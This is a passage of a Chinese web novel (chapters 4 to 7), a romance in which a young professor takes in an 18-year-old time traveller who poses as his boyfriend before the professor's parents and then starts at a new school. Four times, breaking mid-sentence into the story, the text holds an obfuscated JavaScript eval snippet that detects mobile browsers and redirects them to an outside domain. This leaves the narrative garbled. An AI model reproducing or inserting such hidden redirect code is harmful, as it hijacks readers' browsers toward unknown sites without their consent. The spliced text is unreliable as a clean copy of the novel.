“怎么了?”潭知行问。 他的西红柿有哪点不符合这祖宗心意? “我不爱吃西红柿。”池燃说着,重新把面包片盖上。 潭知行:“还有呢?” “什么?”池燃咬了一口他的无西红柿版三明治,掀起眼皮问。 “还有什么不吃?” 池燃哦了声,随后如数家珍似的答道,“洋葱、胡萝卜、西芹、茄子、香菇,水果不吃葡萄石榴荔枝,肉只吃鸡牛猪肉,羊肉只吃烤的,不吃鱼,不吃肥肉,不吃任何动物内脏,海鲜看心情吃。” 潭知行:“……” 他迟了半晌才问,“没有了?” “没有了。” 潭知行感觉自己太阳穴跳了跳。他差点以为池燃要把蔬菜大全念一遍。 “你记住没有?”池燃拄着筷子问他。 “记住了。” 池燃不信,“那你重复一遍。” 潭知行沉默两秒:“西红柿洋葱胡萝卜西芹茄子香菇,葡萄石榴荔枝,不是烤的羊肉,鱼,肥肉,动物内脏,和一部分海鲜。” 池燃微微睁大眼睛。 脑子里住了个打字机吗? 他扁扁嘴,“行吧,算你厉害。” 吃过饭,潭知行又拎出那件深灰的运动开衫扔给池燃,“穿上,带你出门。” 池燃不情不愿,“你就没有好看点的外套吗?” “西装,冲锋衣,你选一个。” 池燃:“……” 算了,他宁愿穿这个。 这灰色开衫套在他身上大出一个码,系上拉链空空荡荡的,手都伸不出来。他把两边袖子往里挽起,又把帽子扣上装酷,“走吧。” 潭知行有点无奈,但也没说什么。他没想到自己这件衣服有一天还能被穿出这种效果。 “先买衣服,还是先买水杯和床垫?”潭知行按下电梯负一层。 池燃想了想,说,“先买鞋。” “……” “有个联名款的篮球鞋今天发售,限量,我看好多人一早上就去排队了,咱现在去,没准还能买上。” 潭知行轻声一笑,走出电梯,“联名款,你有钱吗?” 池燃气呼呼地追上他,“喂,你不要瞧不起人,我一个月零花钱就几百万好吗?” “那你试试,你的钱现在还能不能花得出来。” 池燃脑子里的一根弦啪嗒断了。 对哦,他的手机都用不了了,那银行卡还能用吗? 坐上车,潭知行点开导航,问他,“去哪个店?” 池燃:“……先去趟银行。” 潭知行将车停在路边,池燃一路小跑进银行,直奔ATM机。他将银行卡塞进机器,抿着唇,有些焦急地等待机器反应。 几秒,机器将卡吐了出来。 池燃:? 是他插反了吗? 池燃把银行卡拿出来检查,小声嘀咕,“没错啊。” 他不死心,又试一遍。 还是一样。 这下他真有点心死了…… 合着穿越就把他人穿过来了,其余的是一点不带。 这不是要他命吗? 几分钟后,池燃面如死灰地从银行走出来,潭知行一看他的脸色就知道结果了,但竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203335|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点想逗他的心思。 “怎么样?小少爷。” 池燃重重关上车门,不想说话。 池燃:“……不买鞋了。” 潭知行朝他伸手,“地址。” 池燃扫他一眼,“干嘛?” “带你去买球鞋。” 池燃别扭道:“我没钱。” 潭知行发动车子,“算我送你,穿越来的礼物。” 发售门店前排了长长的队伍,池燃兴冲冲跑下车,却发现排队的人在慢慢散开。 “哎,排了半天,还是买不到。” “真服了,又白跑一趟。” “咋办,从黄牛收吧。” “开什么玩笑,那得天价了,买不到就没缘了。” 听到过路人的议论,池燃明显放慢脚步,没了方才的兴致。如果不是穿越害他,排队买鞋这种事根本不用他亲自来做。 潭知行阔步走到店内,向店员询问,“你好,请问今天发售的联名款球鞋还有卖吗?” 店员朝他摆手,“不好意思,已经卖完了。” “好,谢谢。” 池燃丧着脸,在店门外等他,像霜打了的茄子。 潭知行不太会安慰小孩,只拍了下他的背,“走吧。” 直到下午,池燃的情绪都不高。买了好几套新衣服,也按着他的要求买了新水杯和床垫,潭知行不知道要怎么能哄这小祖宗高兴。 也许小孩都会为了一些小事而不高兴很久?至少在潭知行眼里这是件小事。 「怎么哄小孩开心?」 潭知行在手机浏览器上输入这一行字,认真地浏览起网友回答的内容。 「做鬼脸。」 「带他玩捉迷藏。」 「给他买点小玩具,男孩买小汽车,女孩买洋娃娃。」 潭知行:…… 找错了,这是给3-6岁儿童家长的建议。 他删掉“小孩”两个字,换上“18岁男生”。 池燃端着一盘炸鸡回来,坐到对面,潭知行不动声色地关掉浏览器。 “不是要吃榴莲披萨?”潭知行问。 池燃哦了声,说,“没有了,要等一会儿才上新的。” 池燃非要吃自助,潭知行拗不过他带他来,却发现自己能吃的却不多,只有意面和一些蔬菜沙拉。 “吃完回去吗?”池燃问。 “你还有需要买的吗?” 池燃摇头。 “那就——” 潭知行电话又响了,是郑秋。 他接起来,“郑主任。” “开会?现在吗?” 潭知行看了眼手表,“好,我马上过去。” 撂下电话,潭知行还未开口,池燃就拧起眉,“你要走?” 潭知行点头,“临时有点事。” “你自己能回家吗?打个车,不远。” 池燃没回他的话,反问道,“你要留我自己在这儿吃饭吗?” 潭知行get不到他的点。 “我确实有急事。” 潭知行抓起外衣起身就要走,“车费回家我给你报销。” 池燃更生气了。 他在乎的是那一点车费吗! “喂!” 池燃喊了声,可潭知行走得很快,再加上餐厅里有些吵,潭知行根本没听到。 池燃随手将一块炸鸡扔到潭知行的盘子里泄愤。 从小到大他从来没有自己吃过饭! 5. 第5章 开学前的一两周往往是学院最繁忙的时候,工科院系上线了新的科研申报系统,临时通知院里的老师来做培训。 大部分人都是接到通知匆忙赶来的,卡着点坐到会议室。潭知行也一样,进屋随便瞄准了个空位就坐下。 培训内容冗长且枯燥,总免不了一些形式主义。对年轻教师来说,更新操作系统根本不成问题,培训更多针对院里上了些年纪的老教授。 潭知行做了两下笔记,便也放下笔,瞥向腕间的表,才过了半个小时,还不知道这会要开多久,池燃到家了没有。 一旁的新人教师也早早偷玩起手机,潭知行不经意地瞥了一眼,却注意到对方屏幕上一闪而过的球鞋。 不是池燃早上说想要的那双球鞋吗? 潭知行犹豫了下,微偏过头,低声和对方搭话,“不好意思,可以问一下……你知道刚刚那双球鞋在哪里能买到吗?” 对方微微一愣,随即把图片划回去,“你说这个吗?” 潭知行点头。 “这个是今天刚发售的限量联名,有好多鞋贩子抢,然后在朋友圈高价卖,我刚看的这个黄牛说他还剩两双。” “方便把他微信推给我吗?”潭知行问。 “可以啊。”对方爽快答应,说着就打开二维码要和潭知行加微信,“不过,你也喜欢球鞋啊?” 潭知行不认识他,但他可认识潭知行。今年生物学院最出名的新人教师,Nature一作,30岁特聘副教授,天之骄子一般的存在。 这种人居然也会关注最新发售的球鞋?还挺反差。 潭知行应了一声,解释道,“家里有人喜欢。” 潭知行加上黄牛的微信,问了那双鞋的价格,三万多。对方很拽,说半个小时内不付钱就没有了,而且断码。潭知行没犹豫,转了账,问什么时候能发货,他着急要。 许是对方见他痛快,说如果着急的话可以来取,随后给他发了个位置过来。 潭知行在地图上搜了下,离得不算远,开车过去一个小时,便和对方约好时间。 好在培训会议四十多分钟后就结束了,老师们陆陆续续离开,潭知行也跟着起身,没想在门口又被郑秋叫住。 “小潭。”郑秋站将他拉到走廊一角。 “怎么了,主任。”潭知行问。 郑秋从兜里掏出手机,“我给你介绍个人。” 他从微信聊天记录里翻出来几张照片给潭知行看,“这个女孩比你小两岁,今年刚博士毕业回国,马上就要在H大任教了,是我朋友的朋友的女儿,你看看,有时间你们见一见?” 从郑秋说“介绍个人”的时候,潭知行就知道郑秋又要给他相亲。从回国后,他已经推掉四五场了。 “主任,我......”他顿了顿,“我现在不考虑结婚,您知道的。” “我知道我知道,但是你都三十了,也不能总单着。有合适的人好歹接触一下吧。” “我真不考虑。”潭知行拒绝道。 见他坚决,半晌,郑秋沉沉叹口气,把手机收回兜里,“行吧,那我不勉强你了。” 他拍拍潭知行的肩,”我知道你母亲的事对你有影响,可作为你的长辈、领导、你父母的朋友,还是希望你能过得轻松一点。“ 潭知行微微一笑,低声道,“嗯,我明白,谢谢郑叔。” “我还有事,先走了。” “好好。”郑秋又提醒他,“发言稿写好记得发给我看啊,我还得拿给领导审。” “好。”潭知行点头,“我尽快。” - 从潭知行走后,池燃也吃不下了。他饿着肚子回到潭知行家里,发现白晓也不在,连个能跟他吵架的人都没有,无聊透了。 屋子里静悄悄的,连掉根针都能听见。趁着没人在家,池燃在屋子里转了个遍。这房子一间主卧,两间客卧,都有独立卫生间,一个书房书架上摆满了书,一个衣帽间,还有两间完全空着的房间,不知道留着干嘛。 “一个人住这么大房子,也不怕鬼。”池燃嘀咕了句。 怕是家里进了小偷都不知道的程度。 转完这一圈,池燃又游荡到厨房,企图在抽屉柜子里翻出点泡面酸辣粉之类的即食食品,可翻了半天,一样没找到。冰箱里只有无尽的有机蔬菜。 这也太健康了...... 池燃皱着眉想,潭知行是什么自律怪物吗? 没办法,只能点外卖了。 他四仰八叉躺回沙发上,点开外卖软件开始选附近能送餐的商家,看了半天,却没一个合他心意的。 他心烦地把手机扔到一旁,干脆不想吃了,饿死他算了。 都怪潭知行,让他吃不好饭。罪魁祸首。 潭知行回到家,一进门就看到横躺在沙发的一只金毛。 也不知道池燃怎么这么喜欢躺在沙发上,睡觉也不回房间。 他放轻步子走近,将鞋盒袋子轻轻放在茶几边,安静看了池燃几秒,确认他是真的睡着了。 睡着的时候还显得挺乖的,一张婴儿肥还没完全消退的脸,脸颊压在靠枕上会堆出一小坨肉,很可爱。但也许是混血的缘故,他眉宇间深邃而舒展,剑眉两道,又写满了少年气。 潭知行意识到自己莫名有些出神,随即收回目光,去衣帽间换下外衣,套上一件纯黑卫衣,走去厨房系上围裙,开始做晚饭。 白骁跟他说今晚要和朋友出去吃,晚点回来,所以晚餐只需要做两人份。 潭知行将牛排从冰箱冷藏层拿出来,抽了厨房用纸来吸血水,撒上黑胡椒和海盐腌制。等待的时间又去洗蔬菜,打算拌个沙拉。纠结了下,还是没放西红柿,以免池燃一口不吃。 池燃是被饿醒的,或者准确来说,是被香味馋醒的。空气里弥漫着黄油和迷迭香的味道,池燃筋筋鼻子,揉着眼睛从沙发上坐起来。 听到厨房的动静,他半信半疑走过去。 潭知行回来了? 他扒在门框边,探了个脑袋进厨房。 潭知行注意到他,瞥了一眼道,“去洗手,马上吃饭了。” 池燃:“……” 还好意思叫他吃饭,不知道今天吃饭吃到一半就把他抛下的人是谁。 他没应,扭身回客厅了。 本想一屁股瘫倒在沙发上,却被脚边的盒子绊了一下。 池燃垂下眼,疑惑起来。 什么时候多出来的盒子?他睡觉的时候还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203336|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有啊,潭知行带回来的? 而且这个包装……怎么有点眼熟? 他弯腰捡起来。 潭知行端着盘子走到餐桌边放下,正要叫他,“池燃——” “我靠!”池燃突然爆发出一声惊叹,捧着鞋盒呆在原地,眼睛都亮了,“你从哪里搞来的!” 看他高兴,潭知行扬起一丝淡淡的笑意,道:“从朋友那儿。” “太帅了。”池燃坐到沙发上,迫不及待地换上新鞋,几步跑到潭知行面前向他展示,“怎么样?好看吗?” “好看。” “你怎么知道我鞋码的?”池燃跳了跳,觉得这鞋他穿着正好。 “推断。” 根据身高。 池燃看了眼潭知行,半晌别扭道,“行吧,原谅你了。” 潭知行:? 他又什么时候惹到这小祖宗了? “我哪儿——” 池燃打断他,“以后不许让我自己一个人吃饭。” 潭知行眨眨眼,有些意外。 原来在因为这个在生气?这是什么值得生气的事情吗?一个人吃饭不是很正常吗? “听到没有?”池燃又质问他。 “……知道了。”他无奈认下,随后拉开椅子,“吃饭吧。” 池燃注意力这才落到餐桌上,眼神一亮又一暗。 牛排,和……沙拉。 “非要吃这么健康吗?” 潭知行坐下,“对身体好。” “把鞋换了,盒子收好,去洗手,回来吃饭。” 池燃哦了声。 他心情好,对潭知行的一连串指令没什么异议。照做,几分钟后小跑着回来,他早就饿了。 “对了,我过两天转学,还不知道那学校在哪儿,你带我去看看呗。”池燃叉起一块牛排放进嘴里,随即对潭知行竖起大拇指,“好吃。” 不比他吃过米其林差。 潭知行握叉子的手一顿,抬眼看他,“你还没……高中毕业?” “是啊。”池燃说。 “不是满18岁了?” “我生日早,上学晚。“池燃想了想,没把池州诚因为他是私生子不让他上学的事情跟潭知行说,”刚高二。” “我爸给我办的转学手续还在我包里,虽然说我穿越了,不知道还能不能用……”池燃琢磨了下道,“但既然警察那儿能查到我的户籍信息,应该还有效的吧,我又不是黑户。” 潭知行沉默了。 要是让他爸妈知道他谈了个高中生…… 师德堪忧。 “带你去看学校是没问题。转学,如果不行我再帮你想办法,会让你把书读完。”他顿了顿,“但是——” “叮咚”两声,门铃响了。 潭知行话说到一半,不得已放下餐具走去开门。 白骁吗?明明给他钥匙了。 还是别让池燃假扮他男朋友了,影响不好。或许可以给池燃在学校附近租个房子?让他顺利读完书,上大学,学费他出也可以,然后应该就没自己什么责任了吧。 毕竟这小孩是从天而降的。 潭知行思索着打开家门,一下愣了。 “爸,妈?” 6. 第 6 章 潭知行下意识朝身后瞥了一眼,意识到即将发生什么,但已经来不及阻止了。 潭枫推着两个大行李箱,笑呵呵地进门,又去牵徐兰芝的手,“惊喜吧,我跟你妈说你谈了对象,她立刻就说要回来看看,我俩就买了躺红眼航班,连夜赶回来了。” 潭知行:…… 他接过行李箱挪到一旁,硬着头皮去叫池燃,“池燃,我爸妈来了。” 池燃吃得正香呢,抬头一看,立刻从椅子上蹦起来,屁颠屁颠地跑到门口,一把挎住潭知行的胳膊作亲昵状,笑嘻嘻道,“叔叔阿姨,你们好!” “诶你好你好。”潭枫笑道,“你比视频里看起来还好看啊。” 他向池燃介绍,“这是知行的妈妈,她特别想见你。” 池燃看向一旁面容温和的女人,倾身凑近问好,“阿姨,你好呀,叫我小池就行。” 徐兰芝眼睛里燃起一点光亮,缓慢地朝池燃伸出手,“你好,小池。” 潭知行默默叹口气,转身朝厨房走去,“爸妈,你们辛苦了,坐一下,我给你们弄点吃的。” “哎不用。”潭枫道,“我们在飞机上吃过了,现在不饿,坐一会儿就走了。” “这趟旅行怎么样?”不一会儿,潭知行倒了两杯水过来放在茶几上。池燃拉着潭枫和徐兰芝坐到沙发边。 “还不错,去了挺多地方,给你妈拍了不少照片呢。”潭枫道。 徐兰芝向潭知行看去,语调缓慢,“知行,别说我们了,跟我们说说你和小池吧?你们,怎么认识的?” 潭知行犹豫了下,“我们……” 正当他不知道如何是好的时候,池燃先抢过了话头,“我们在警局门口认识的。阿姨,我被人欺负报了警,他帮我作证来着,可帅了。” “是吗?”徐兰芝有点意外,又看向潭知行。 潭知行不得已点头认下,“啊,是……” “然后就,熟悉了。” “在一起多久啦?”徐兰芝又问。 池燃眼睛一转,道,“两个月。” 潭知行又沉默了。 在一起两个月就把人领回家同居,显得他更不正人君子了。 “两个月呀。”徐兰芝闻言,嗔怪地看潭知行一眼,“这都不跟我们说,要不是你爸在视频里发现了,你还想瞒到什么时候?” 潭知行无奈笑笑,“想等稳定一点再跟你们说的,是我不好。” “小池。”徐兰芝握着池燃的手,问,“你多大了?家住哪儿啊?” “十八。”池燃果断地答道,“家在海城,今年转学过来的。” 潭知行:…… “转学?”徐兰芝也起了疑惑。 潭枫也问,“大学吗?” 池燃:“高中。” 屋子里顿时安静了几秒。 潭知行一瞬间想死的心都有了。 “爸,妈,我跟你们解释,这个——” “知行,那你得好好辅导小池,把后援工作做好啊。”潭枫突然正色道。 潭知行:? “就是啊。”徐兰芝附和道,“你看小池这么瘦,多给他吃些有营养的,他爱吃的,别总按你的那套养生理论来了。” 池燃一听到“他爱吃的”几个字,眼睛立刻亮了,像有了靠山似的,理直气壮地对潭知行道,“你听到没有?不要总给我吃草了。” 潭知行无奈,“知道了。” “小池,你学文学理啊?”潭枫又问。 “我学理科的。”池燃说。 “那正好。”潭枫指指潭知行,“你要是学习上遇到什么困难就问知行,千万别怕麻烦他。” 池燃眼睛一瞥,心想潭知行有那么厉害吗?不就是大学老师?但嘴上还是乖乖应着,“我知道的,谢谢叔叔。” “池燃。”潭知行突然叫他,朝他伸手,“去把饭吃完。” 潭枫哎呦一声,“就是就是,耽误你们吃饭了,小池,别管我们了,你快去吃饭。” 池燃哦了声,从潭枫和徐兰芝中间跳出来,被潭知行推到餐桌边。 “干嘛?”他小声问,“怕我给你说漏嘴啊?” “没有。”潭知行说,“再聊一会儿牛排凉了。” “那你那份也凉了啊。” 潭知行:“我吃沙拉,你可以吃两份。” 池燃心头一喜。果然,有靠山就是好。 这么快就奏效了。 “知行,你能谈恋爱,我和你妈是真的为你高兴。”潭枫远远望着池燃的背影,又道,“小池这孩子活泼,性格好,很适合你,你和他一定要好好的。” 徐兰芝拉过潭知行的手,重重地拍了两下,“知行,我明白你心里有顾虑,是妈对不起你,妈——” “妈。”潭知行打断她,“你别这么说。” “我现在不是已经在谈恋爱了吗?” “是,是……”徐兰芝抹了把眼角的泪,“我们替你开心。” “你跟小池……说过你的情况没有?”她又问。 潭知行顿了顿,“还没有。” “你还是尽早跟他说清楚吧,如果他不同意……”徐兰芝顿了下,又摇摇头,“不,我相信你喜欢上的人,小池那孩子一看就好,你跟他好好说,他会理解的。” “嗯。”潭知行说,“我会的。” “哎对了,白骁呢?”潭枫想起来问,“他怎么不在家?我们还想着,一块把他接走呢,省得明天再跑一趟。” 潭知行:“他说他跟朋友出去吃了,要晚点回来。” “爸,妈,要不你们今天先早点回去休息,明天我把白骁送到你们那儿,不用你们再来了。” 潭枫犹豫了下,“也行,我们坐了一天飞机,也累了。” 他们说着就要起身离开,池燃听到动静一扭头,把最后一块牛排塞进嘴里,连忙跑过去。 “叔叔阿姨,你们这就要走啦?” “是啊。”潭枫应道,“不打扰你们了,我们也回家休息休息。” “哪天你不忙了,让知行告诉我们,请你吃饭。” “好呀好呀。”池燃眼睛一转,从兜里拿出手机来,“那叔叔我们加个微信吧,以后他再欺负我,我就找你们告状。” 潭枫一愣,随即被他逗笑,“好好,没问题。你跟我们说,我们一定好好教育他。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203337|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 潭知行无奈地别过头去。 就在这时,家门又被打开,伴随着一声,“潭哥,我回来了!” 白骁看着这一屋子人愣住,“诶?” “潭叔叔,徐阿姨,你们怎么回来了?” 潭枫见状乐了,“你回来的正好,我们来看看知行的对象,顺便接你回去。” “啊?对象?”白骁更困惑了。 这屋子里,能被称作潭知行对象的,只有…… 池燃一个箭步将白骁揽过来,三步并作两步将他拖进房间,“叔叔阿姨你们等一下!我跟白骁还有几句话要说!” 潭枫和徐兰芝都愣住了。 潭知行硬着头皮解释道,“小孩……相处出感情来了。” “哎我靠,你干嘛!”白骁被池燃生拉硬拽进屋里。 池燃将新买来的球鞋怼进白骁怀里,痛快道,“这个,给你了。” 白骁:? 但他只向下瞥了一眼,便爆发出惊呼,“我靠!你从哪儿搞来的!” “你别管,就送你了。”池燃指着他道,“但你要答应我一件事。” “什么事儿?”白骁眼睛都从球鞋上挪不开了,“好兄弟,你说说说,我肯定答应。” “你默认我和潭知行是情侣。” 白骁抬头:“啥?” “你就说你答不答应吧。”池燃威逼利诱,“答应这鞋就归你,不答应也得答应。” 白骁:“……这。” “很简单的。”池燃着急,“叔叔阿姨要是问起你,你就说我和潭知行在一起两个多月了,感情很好,扒拉扒拉的。” “求你。”池燃双手合十,能屈能伸,夸大道,“这关系到我的生死。” “……行,行吧。”白骁答应。 “好兄弟。”池燃连同鞋盒都扔给他,“我就知道你肯定靠谱,来,归你了,就说是我送你的临别礼物。” 几分钟后,池燃领着白骁从屋里出来,朝潭知行使了个眼色。潭知行一看白骁手里拎的东西,就明白是怎么回事了。 白骁主动道:“潭叔,你们等我一会儿啊,我去收拾下行李,马上就来!” 他边往房间走,边戏精上身,“我可算把你们等来了,我都跟他俩待一天都待烦了,他们俩腻腻歪歪的,显得我像个巨大的电灯泡。” 池燃朝潭枫和徐兰芝调皮地吐了下舌头。 潭知行莫名觉得有点热,走去窗边将窗户打开一小扇。 不过几分钟,白骁叮了咣当地将行李收拾好。他带的东西本来就少,全部一股脑塞进包里,唯独手里捧着个鞋盒,像捧个宝贝似的,从房间走出来。 “潭叔,我好了,咱走吧。” 潭枫点头,从沙发上起身,“好,走吧走吧,不打扰他们了。” 池燃乖巧地凑到徐兰芝近前,和她道别,“阿姨,你们回去早点休息,辛苦你们还特意为了看我赶回来,我们改天再见。” 他又趴到徐兰芝耳边,和她说悄悄话,“您放心吧,我会和潭知行好好在一起的。” 可随后,他对上徐兰芝迷茫而无措的眼睛。 “小朋友,你是谁啊?” 7. 第 7 章 池燃一瞬间愣住了。 他回头用目光去询问潭知行,却被潭知行一把拉开。潭知行脸色不太好,“池燃,回房间待一会儿。” 池燃:“啊?” 还没等他反应过来,便又听到徐兰芝问,“你们……是谁啊?我儿子呢?” 潭知行语气对他严肃了几分,“回去。” “这是哪儿啊?”徐兰芝方才分明还写满了喜色的脸突然委屈,“我要回家。” 潭知行蹲下来,一把揽住她肩膀,“妈,我在这儿,妈,你看看我。” 池燃一步三回头,扒在门框边停留了几秒,随后将门轻轻掩上,留了条小缝。 潭枫和潭知行轮流安慰徐兰芝,却换来徐兰芝更崩溃的挣扎。她绝望的声音穿透墙壁,“我不认识你们,你们是骗子!放我回家!” 白骁在一旁愣愣地看着,不敢出声,透过门缝和池燃对视了一眼。 过了好一会儿,徐兰芝才啜泣着安静下来,趴回潭枫怀里。 “好了好了。”潭枫扶着她起身,“我们回家。” “知行,你跟小池说一声吧,我们就不跟他打招呼了。” “好……”潭知行点头。 徐兰芝看向潭知行,还是怯生生的,嘴里嘟囔,“你是骗子,骗子。” 潭知行没再上前,看着潭枫领徐兰芝往玄关走,白骁蹑手蹑脚地跟上去,替他将门关上。 偌大的房间回归寂静。 池燃轻轻推开门,还是挡不住门板“吱呀”一声,引得潭知行转过身来。 “抱歉。”潭知行神色还未恢复如常,情绪低落得明显,“吓到你了。” 池燃没上前,立在房间门口,犹豫了下问,“阿姨刚才……怎么了?” 潭知行嘴角动了动,“……阿尔兹海默症。” 池燃心头一跳。 大家口中常说的老年痴呆,虽然听说过很多次,可病发的样子,他还是第一次见。居然就这么……不认识亲人了。 “严重吗?”他小心翼翼地问。 “……好多年了。”潭知行说,“一开始只是健忘,最近一两年,有些认不清人。” 池燃低低哦了一声。 这种时候,他也不知道该说些什么。他想安慰潭知行,可有心无力。 “没事。”反倒是潭知行先安慰起他,“下次见面,等她好了,她还会记得你的。” 池燃沉默两秒,主动换了个话题,“喂,为了替你保守秘密,我可是连球鞋都交代出去了,你打算怎么谢我?” 潭知行一下笑了,反问他,“替我保守秘密?” “不是吗?”池燃理不直气也壮,梗着脖子道。 “嗯……”潭知行垂下眼。 既然他爸妈对池燃还在上高中这件事都接受良好,也欣慰于他终于谈了恋爱,那这么继续假装下去也好。 “留下吧。”潭知行说,“直到你上大学,我们可以先保持这种关系。” 池燃眨眨眼,问,“什么关系?” “室友……”潭知行思索了下说,“和假扮情侣的关系。” “我可以一直住在这儿了?”池燃眼睛亮起来。 潭知行点头,“如果你愿意的话,在你上大学之前都可以。” “大学之后,你可以自己决定,住校,租房子,或者……” 继续留下? 潭知行把这个念头按下。现在想这些,未免太早。 “到时候再说吧。”他改口道。 池燃一瞬间欢呼着跳起来,“呜呼!有新家咯!” 这里没有条条框框,没有他作为池家少爷必须保持的礼节,必须承担的责任,没有总是看他不顺眼的后妈,有事没事就呛他两句的哥哥,和根本不把他放在眼里的爹。 有的只是潭知行,一个……看起来还不错的人。 潭知行不太理解池燃高兴在哪儿,默默看着他在屋子里乱蹦乱跳。 按常理来说,一般人穿越到另一个时空,不都会想念家人吗?可池燃身上,没有表现出来半点。 难道他以前的家庭很糟糕吗? “好了。”潭知行制止他,“别跳了,一会儿楼下邻居该找了。” 池燃欢快地围着他转了一圈,又问,“那我的球鞋怎么办?” 潭知行无奈,“我再帮你问问看。” 池燃朝他打了个响指,扬起满意的笑容,“你最好了。” - 市一中是明城升学率最好的高中,开学第一天,潭知行将池燃送到学校门口。 “晚上不一定有时间来接你,再联系。”潭知行将车停下。 池燃解下安全带,蹦下车,“知道了知道了。” “如果转学手续有问题就给我打电话。”潭知行又不放心道。 池燃跟他比了个ok的手势,头也不回地跑进学校。 潭知行不免有些担心,毕竟池燃是穿越来的小孩,也许和同学们相处会有隔阂?但他无暇顾及太多,今天也是高校开学的第一天,有他可忙的。 池燃拿着转学手续到教务处找到年级主任,本来还有点担心会因为手续问题被遣返回家,但对方看完那几页纸之后,反倒瞟了眼他的头发。 “学校不许染发啊。” 池燃:? 他解释道:“这是我本来的发色。” 主任似乎见惯了这套说辞,瞪他一眼道,“那也不行。” “放学就给我染黑。” 池燃:“……” 谁让他现在穿越了,证明不了他妈妈是外国人。 “走吧,领你去班级。” 池燃嗯了一声,乖乖地跟着对方走,从教务处一路上到五楼,来到高二八班的门前。 趁着早自习,主任跟班主任交代了两句,便把池燃交给她。对方是个年轻漂亮的小姑娘,看着二十出头,刚毕业不久的样子。 应该比上了年纪的主任好说话吧?池燃心想。 等主任一走,池燃立刻问,“赵老师,我能不把头发染黑吗?我本来就是金发。” 赵莉莉看看他,犹豫两秒,“不行。” 池燃又沉默了。 没想到他的穿越第一课是染发。 赵莉莉领着池燃进班级,屋里几十个学生立刻七嘴八舌地讨论起来,毕竟高二下学期了,这时候还有转学生,实在罕见。 走完转学生必备的自我介绍流程,赵莉莉给他安排座位,“坐……季明野旁边吧,他同桌前几天休学了。” “好。” 池燃朝着赵莉莉给他指的方向走过去,靠窗边倒数第二排。即将成为他同桌的男生面无表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203338|181251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情地和他对视,一副高冷模样,他有预感,这人一定不怎么好相处。 最后一排一颗毛茸茸的脑袋抬起来,看清那人的脸,池燃一下顿住脚步。 白骁?! “靠!”白骁也震惊了。 听到转学生来的时候他正在打游戏,头都没抬,但听到这人要和季明野坐同桌,他高低得看一眼。 但随即他就被赵莉莉教育了,“白骁,安静,上自习。” 白骁朝赵莉莉比了个拉上嘴巴的手势,等池燃坐下,他趴低身子,怼了怼池燃后背,压低声音道,“喂,你怎么会来?” 池燃:“我转学啊。” “这么巧?” “不行吗?” 白骁:“啊行行行。” 池燃朝旁边的人瞥一眼,秉着礼貌的原则和对方打招呼,“你好,我叫池燃。” 但谁知道季明野只“嗯”了一声。 池燃在心里骂了一句:靠,这么拽? 但他也没多说话,默默把书本拿出来。 第一节是生物课。 长了一张严肃脸的老头一上来就发卷子做随堂测试,卷子从前排一个一个传过来,池燃无奈拿起笔,心说刚来就给他下马威。 白骁又在后背用笔怼他一下,悄声问,“哎,你成绩怎么样啊?” 池燃没说话,反手给他比了个大拇指。 白骁乐了,“行,一会儿选择题就抄你的了。” 没想到池燃平时一副吊儿郎当的样子,成绩还不错。这下他有靠山了,解决了他没同桌的苦。 潭知行忙了一天,上午做完开学演讲,下午上了一节课,开了俩小时的会,才回到办公室休息片刻,就接到一个陌生电话。 “请问是池燃的叔叔吗?” 潭知行愣了两秒,回道,“请问您是哪位?” “你好,我是池燃的班主任,赵莉莉。” 潭知行“啊”了一声。他下意识看了眼时间,才四点半,还不到放学的时间。 “能麻烦您一会儿来一趟学校吗?和您谈一下池燃学习的问题。他说他父母都不在本地,只能请您来。” 潭知行:“……可以。” 他犹豫了下问,“能问下池燃怎么了吗?” 才开学第一天,就惹祸了? “这个……”对方也迟疑了片刻,“电话里不太好说,您还是来看一下。” 潭知行:“好的。” 挂下电话,潭知行处理了下手头的事情,就锁了办公室往外走。他边走边给池燃发微信:你班主任让我过去,你怎么了? 不久,池燃回了他三个省略号。 潭知行:「?」 池燃:「你自己来看吧。」 